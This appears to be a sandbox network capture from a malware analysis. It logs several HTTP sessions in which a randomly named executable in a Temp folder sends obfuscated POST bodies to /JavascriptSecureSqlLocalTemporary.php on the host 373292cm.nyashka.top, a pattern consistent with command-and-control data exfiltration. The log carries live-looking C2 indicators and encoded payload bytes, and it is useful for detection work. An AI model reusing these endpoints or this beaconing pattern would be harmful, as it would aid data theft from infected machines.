Aug 26, 2024 20:16:39.009644032 CEST	2036	OUT	Data Raw: 5f 53 59 55 54 47 51 5a 5b 5f 5a 51 59 5e 58 56 57 5f 5d 58 57 51 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _SYUTGQZ[_ZQY^XVW_]XWQSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y8U;B#=? #9Y*=+>..?=##2#($"#%/>&F$.Y/
Aug 26, 2024 20:16:39.039829969 CEST	1236	OUT	Data Raw: 0a 2a 08 19 04 58 0f 32 0e 3e 06 13 30 30 16 24 0d 07 22 15 0a 26 21 08 3c 2d 54 07 31 38 2f 5a 22 3f 25 1c 33 39 00 2d 23 2e 3c 13 25 03 1e 2f 06 2b 0b 17 03 5e 00 3e 05 31 0f 1e 3e 3a 1a 27 09 2f 20 1d 32 03 26 0e 2a 5a 02 1f 35 5f 06 29 3b 2e Data Ascii: X2>00$"&!<-T18/Z"?%39-#.<%/+^>1>:'/ 2&Z5_);."==8]/<0"?'U]1];>?&Q?"(3=(@2=!T<=$>:+;,19#-W6020?>,920"?",[4[.;UQ6:Y1(21)Y> %(3+><??11'!Z>B$=_S90S<
Aug 26, 2024 20:16:39.368913889 CEST	1236	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive Data Raw: 5f 53 59 55 54 47 51 5a 5b 5f 5a 51 59 5e 58 56 57 5f 5d 58 57 51 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b 54 57 52 59 5f 5a 53 54 50 50 5e 5c 51 51 5b 51 5b 53 50 5c 5e 52 54 53 44 58 5f 54 59 59 5f 5a 5d 50 58 56 5d 51 5a 5d 5a 5c 5b 54 46 50 5c 53 5a 56 5d 59 51 59 5b 58 5a 56 5f 48 59 5a 56 5e 5b 5e 54 5e 56 5d 59 5e 42 5f 51 5d 5b 57 42 53 58 5b 5d 5f 58 52 5a 59 52 5f 5b 5e 59 52 43 5a 5c 5a 5f 57 5e 5e 0c 1c 2e 59 38 55 3b 42 23 3d 3f 04 20 23 39 59 2a 3d 2b 00 3e 2e 2e 04 3f 3d 06 00 23 12 0e 09 23 32 23 0e 28 00 24 00 22 23 25 14 2f 3e 26 46 03 15 24 1b 2e 01 1e 59 2f 0c 0f 15 24 0c 2f 5b 27 15 23 59 2b 0e 05 07 23 20 21 0c 3d 35 25 05 25 2b 38 18 30 30 31 0d 3e 04 27 10 3d 13 0b 59 24 16 2d 5c 26 00 24 57 33 2b 3d 5d 3c 2d 2a 52 26 2c 38 02 2d 1d 2b 13 24 00 00 05 22 2d 2a 5c 26 3c 3c 10 2b 28 01 06 20 01 25 04 28 29 35 19 2b 2f 24 5b 3c 17 3f 5b 28 39 [TRUNCATED] Data Ascii: _SYUTGQZ[_ZQY^XVW_]XWQSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y8U;B#=? #9Y=+>..?=##2#($"#%/>&F$.Y/$/['#Y+# !=5%%+8001>'=Y$-\&$W3+=]<-R&,8-+$"-\&<<+( %()5+/$[<?[(96V,!.T79&<'+-(>^";<3&%2 XQ$%:$1%"&,=6&<+.%Y0) =-('^%9=':-]#9\%'.X/#F%" >>-'<.=<>47/7W+3\#=_;)6E<+$],<(-'%/#Z/00# (.Z2;+'W);[>>%Y$&&=/0]=]?X5$,;],#^3."Y#"&4- <[+T8>: <";8]9 0%<?+.=W==<!+;[3=.V&!.%. ]%2)%1-$-3%X"9A%(3=(8>"&,7%%>/.]>?$>;1++<U^20D<(>"_+/Z<X$0,$8?U<;X3>Y0:V:3 3]95_%470' "3!/2="::\310><#0>!8]?2X2>00$"&!<-T18/Z"?%39-#.<%/+^>1>:'/ 2&Z5_);."==8]
Aug 26, 2024 20:16:39.999968052 CEST	800	OUT	Data Raw: 3f 3c 20 2c 0b 32 1d 13 31 5f 1e 26 39 54 1c 19 2c 25 21 3a 07 00 3b 5d 33 3e 23 5e 03 23 08 1d 0e 1c 20 22 3b 29 3c 15 31 33 05 21 0f 54 03 12 04 39 3d 01 0a 39 33 57 39 30 07 54 05 3c 5b 3f 31 3d 36 23 3c 2a 00 5b 3b 3d 05 57 08 39 3d 11 04 22 Data Ascii: ?< ,21_&9T,%!:;]3>#^# ";)<13!T9=93W90T<[?1=6#<*[;=W9="59:T)/Z(?9/=^S,?)02+#-"88")5"24"%#9(,/?[2??;$'# -91TA" #<%:Z6S?$$+,Q+03'28X>?.='?1.:/06/%2=#>;3=;4?=D8#02
Aug 26, 2024 20:16:40.379913092 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:40.510348082 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 55 2a 35 3d 02 27 2b 38 55 27 23 2a 57 2a 3e 3c 03 3d 13 3a 04 27 28 21 5c 25 3e 0a 13 27 15 31 5a 3f 3e 32 19 31 3c 30 01 2c 24 2b 5d 0c 13 21 07 20 29 3a 59 26 02 33 02 3e 28 37 5a 36 12 2a 5b 2b 2a 2a 0a 3e 3c 2f 07 2b 00 20 00 2b 04 21 0f 3b 28 21 18 2d 0e 32 57 34 04 2b 52 0d 11 27 0e 28 5b 2e 0e 28 3d 27 59 21 28 3c 07 33 2e 21 09 25 21 26 1f 27 39 0a 5a 26 22 29 55 27 21 07 55 25 02 3e 5e 25 2c 29 1d 23 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &U5='+8U'#W><=:'(!\%>'1Z?>21<0,$+]! ):Y&3>(7Z6[+**></+ +!;(!-2W4+R'([.(='Y!(<3.!%!&'9Z&")U'!U%>^%,)#"#T,"W3UV
Aug 26, 2024 20:16:40.511043072 CEST	324	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 175140 Expect: 100-continue
Aug 26, 2024 20:16:40.715780973 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:40.716073990 CEST	3708	OUT	Data Raw: 5f 53 59 52 54 49 51 59 5b 5f 5a 51 59 52 58 5f 57 58 5d 53 57 50 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _SYRTIQY[_ZQYRX_WX]SWPSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X/03C58^7#%+=++-9Z?/\"<0 $?;#0>/&F$.Y/1
Aug 26, 2024 20:16:40.722126007 CEST	4944	OUT	Data Raw: 25 22 17 1d 26 54 04 2a 3e 02 29 1a 23 11 00 22 3f 1c 19 18 3c 58 04 3d 2c 59 2c 1d 33 06 01 10 32 2f 2a 2f 13 00 24 1d 0e 07 2d 2e 3a 3c 1c 5e 38 3c 02 0a 22 5b 1f 02 38 08 37 3e 27 1f 25 39 32 0a 5f 1f 36 2c 2b 14 3a 30 3e 1f 33 03 09 2b 13 2d Data Ascii: %"&T>)#"?<X=,Y,32//$-.:<^8<"[87>'%92_6,+:0>3+-:\0Y<7#R/^#?#35?\8^=<!X34;:$<6 #15-&P3<!-!1*YY.96=7")/8#$7U8^$/=(19[+=8/^:=1:&90^58(^ )&992!>:T%R.].09"
Aug 26, 2024 20:16:40.722168922 CEST	2472	OUT	Data Raw: 10 58 26 5d 05 21 34 06 37 06 28 0d 0a 26 50 53 34 5d 4b 05 3e 0f 3e 14 02 07 21 18 33 07 01 1c 06 2e 5f 28 04 21 2a 1a 39 1c 30 19 24 5f 28 27 07 0f 58 04 0f 0e 35 1c 05 34 52 3d 25 01 3b 50 38 23 39 1d 3e 3c 57 21 2a 5b 2e 1a 0b 3b 14 06 0b 32 Data Ascii: X&]!47(&PS4]K>>!3._(!90$_('X54R=%;P8#9><W![.;2 V=U+,.Q=(02$#.&?5+>Y<]V+]Z_?\\0\?)[9484/>0]2<<\;,#U=65;?T%1.>+^2.U15&$-+!>8< [=(;,:$?^>="8 >60')/
Aug 26, 2024 20:16:40.728022099 CEST	2472	OUT	Data Raw: 38 0a 39 12 30 5e 05 3c 0a 0d 45 2d 08 31 36 21 0e 3a 2d 2f 32 2d 2e 0c 3d 1b 3c 08 28 2d 00 2b 31 23 15 24 30 5e 1d 18 31 05 2e 00 13 2d 1e 16 31 35 29 2c 0c 31 00 39 20 5b 28 3f 15 2d 1f 19 39 22 27 12 26 32 0f 38 04 21 1a 08 22 2d 38 5e 0e 08 Data Ascii: 890^<E-16!:-/2-.=<(-+1#$0^1.-15),19 [(?-9"'&28!"-8^'(Z9(89>Q#V18?";,9824;2<T?!_80- +%" -#15\<]U$RW=ZX6?=<U:X'+8Q=='5/8?=2_.07 \_960)<*=<>">5X8"!V9:;.0!:
Aug 26, 2024 20:16:40.728055000 CEST	1236	OUT	Data Raw: 0d 2c 30 50 0c 39 08 23 3f 59 26 15 0f 11 2c 04 2c 30 16 59 24 2c 07 35 0c 3b 3a 5c 0e 2e 23 1a 06 2b 3f 5a 0b 04 0b 33 34 04 08 16 27 2f 2f 1f 3f 2a 1a 31 31 28 25 25 32 5e 08 0e 32 57 07 2f 38 5e 34 2a 0c 2f 54 53 3f 00 1c 0b 02 2c 24 00 3b 29 Data Ascii: ,0P9#?Y&,,0Y$,5;:\.#+?Z34'//?11(%%2^2W/8^4/TS?,$;),!;X896=;%<T=!=858%/" %2?=\2[?>%\)[+Y?\19SQ>,#/!# U$'0"Y2S;'8;<&?> <>:(7Z<5#U\$! T=925#\71U; $)[3!75,U="
Aug 26, 2024 20:16:40.728076935 CEST	2472	OUT	Data Raw: 3c 22 35 5d 3e 23 20 2d 0a 34 2c 07 3b 3c 3b 1c 3f 0f 1b 17 3d 26 04 5b 3b 5d 01 50 39 57 5a 33 35 3e 57 1f 05 3f 26 3d 33 34 35 1b 3c 59 23 35 3b 15 2a 30 35 3e 29 37 25 2e 53 06 37 0b 06 07 3c 2d 53 1e 3d 39 08 5b 24 3d 37 04 37 34 0a 15 0b 58 Data Ascii: <"5]># -4,;<;?=&[;]P9WZ35>W?&=345<Y#5;05>)7%.S7<-S=9[$=774X(8>>>'<30;=;[T2Q<)&Y?W[)=$<?$08=5%.:/]#WY>X%$0[":Y2$\705"7>-?\)3_;?#.9;2 _Y;?C:!#;"$,"_Y4 4 /+ !I
Aug 26, 2024 20:16:40.728087902 CEST	1236	OUT	Data Raw: 08 28 23 30 3d 31 2a 2b 24 07 28 5b 3d 5f 5a 0f 0d 58 36 04 37 06 0e 15 11 3d 1b 33 0f 0f 3c 55 3f 09 25 59 38 57 38 02 3f 03 23 3d 23 55 00 09 30 3c 50 38 12 3f 59 18 2b 13 05 59 3b 3d 30 0d 3d 30 3b 09 04 38 20 37 23 56 2a 24 34 00 3d 3f 02 24 Data Ascii: (#0=1+$([=_ZX67=3<U?%Y8W8?#=#U0<P8?Y+Y;=0=0;8 7#V$4=?$;X)>^+1!^8U_=: $8 ;Y6V^9[&(8R?W-$08[2!.!?'.'$;2,)/3#?==#:98/[%57$<Y+'Y!7+Y9.) *(1T=<9 ^-7$0)3%3;#>0>2\&?,Y
Aug 26, 2024 20:16:41.541661978 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:39.994860888 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:40.352456093 CEST	2576	OUT	Data Raw: 5f 57 5c 52 51 43 51 5a 5b 5f 5a 51 59 54 58 5f 57 5d 5d 59 57 5d 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\RQCQZ[_ZQYTX_W]]YW]S_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._,#!\"#9<-]?[+]7/7!2#)<#0=/.&F$.Y/)
Aug 26, 2024 20:16:40.690160990 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:40.986664057 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:16:40.987235069 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:41.175595045 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:41.524574995 CEST	2576	OUT	Data Raw: 5f 52 59 52 51 40 51 5b 5b 5f 5a 51 59 56 58 56 57 5f 5d 5d 57 5b 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _RYRQ@Q[[_ZQYVXVW_]]W[S[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.83#=$_#0\==?"<=4#<+P#1<R<+\739^8&F$.Y/!
Aug 26, 2024 20:16:41.867489100 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:42.002413034 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:42.225145102 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:42.579871893 CEST	2576	OUT	Data Raw: 5f 56 59 53 51 40 54 5f 5b 5f 5a 51 59 53 58 50 57 5a 5d 5a 57 5a 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _VYSQ@T_[_ZQYSXPWZ]ZWZS_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.\833!4\7:*?)+=7< !1,S?:7]##%;>&F$.Y/5
Aug 26, 2024 20:16:42.922152996 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:43.316914082 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:16:43.316950083 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:43.605504036 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:43.961941004 CEST	2576	OUT	Data Raw: 5f 57 5c 50 54 48 54 5d 5b 5f 5a 51 59 51 58 5e 57 5b 5d 5b 57 5e 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\PTHT][_ZQYQX^W[][W^S]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y.#'6'436>("?>;70 "'?*;_##&,&F$.Y/=
Aug 26, 2024 20:16:44.040637970 CEST	1236	OUT	Data Raw: 36 3a 16 36 3b 05 1f 03 04 39 1c 52 2b 2e 0d 19 15 00 24 19 36 3a 3d 2c 00 07 3a 5a 34 54 31 26 37 5f 34 20 39 30 05 29 34 2c 03 10 34 3f 1a 03 36 5c 5f 2f 3a 3d 3d 2b 39 21 18 1e 3d 03 19 22 26 33 45 15 3b 08 1c 0c 26 01 0f 59 31 59 59 2b 0d 24 Data Ascii: 6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:?1;<62=;Y :W(3_458,(ZB?X?<'.=#[:;\2;3#0-5@=]?8YT %1W02&9;<3R;;6=)'?<Y7!8
Aug 26, 2024 20:16:44.352333069 CEST	1236	OUT	Data Raw: 5f 57 5c 50 54 48 54 5d 5b 5f 5a 51 59 51 58 5e 57 5b 5d 5b 57 5e 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\PTHT][_ZQYQX^W[][W^S]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y.#'6'436>("?>;70 "'?*;_##&,&F$.Y/=
Aug 26, 2024 20:16:44.957180977 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:44.957604885 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:44.961008072 CEST	1340	OUT	Data Raw: 3b 12 0a 30 37 57 59 56 04 01 02 34 39 0a 00 05 2c 5d 03 00 32 5e 01 27 33 07 37 19 3f 55 08 3e 27 21 02 1f 3d 29 24 24 31 22 3f 2c 3a 08 0b 0e 31 40 2d 1b 31 05 28 19 08 20 21 3f 2b 31 02 06 31 59 0b 5f 39 3b 1c 2b 32 5b 20 13 3a 38 08 25 37 5a Data Ascii: ;07WYV49,]2^'37?U>'!=)$$1"?,:1@-1( !?+11Y_9;+2[ :8%7Z=>0>5U$3<#%[<>6:6;9R+.$6:=,:Z4T1&7_4 90)4,4?6\_/:==+9!="&3E;&Y1YY+$&685?$=;2X9&<(^?>U, ,1#<5!:01/[? 1:
Aug 26, 2024 20:16:45.553509951 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:45.532718897 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2024 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:45.884138107 CEST	2024	OUT	Data Raw: 5a 57 5c 54 54 49 51 5e 5b 5f 5a 51 59 57 58 56 57 5c 5d 5e 57 59 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZW\TTIQ^[_ZQYWXVW\]^WYSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^/0'@!37>4]<_?73!!?+:4# :,&F$.Y/!
Aug 26, 2024 20:16:46.204262018 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:46.338114977 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 53 29 25 35 00 31 02 2c 53 27 33 32 56 29 5b 37 10 2a 2d 03 5e 27 06 0b 59 26 2e 28 13 27 02 21 5c 29 3d 2e 19 31 2c 27 5d 2d 0e 2b 5d 0c 13 22 14 21 29 36 5a 26 05 20 13 2a 01 28 06 36 02 3a 10 2b 2a 29 55 3f 11 38 13 3c 3a 28 02 28 2a 3e 54 38 5e 29 5c 2e 0e 2e 1d 20 04 2b 52 0d 11 27 0b 29 3d 25 1e 2a 58 23 5f 21 38 0d 58 30 5b 22 55 26 21 2d 0f 24 00 3b 00 31 0b 26 09 25 31 0f 54 26 28 36 1c 25 11 07 57 36 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &S)%51,S'32V)[7-^'Y&.('!\)=.1,']-+]"!)6Z& (6:+)U?8<:((>T8^)\.. +R')=%*X#_!8X0["U&!-$;1&%1T&(6%W6"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:16:45.781317949 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:16:46.136636972 CEST	2576	OUT	Data Raw: 5f 50 5c 52 54 49 54 58 5b 5f 5a 51 59 5e 58 53 57 50 5d 59 57 5e 53 58 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _P\RTITX[_ZQY^XSWP]YW^SXYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^._/ 58Y40> ?-6(. 7+Q !W<4 #)^8&F$.Y/
Aug 26, 2024 20:16:46.459363937 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:46.596347094 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
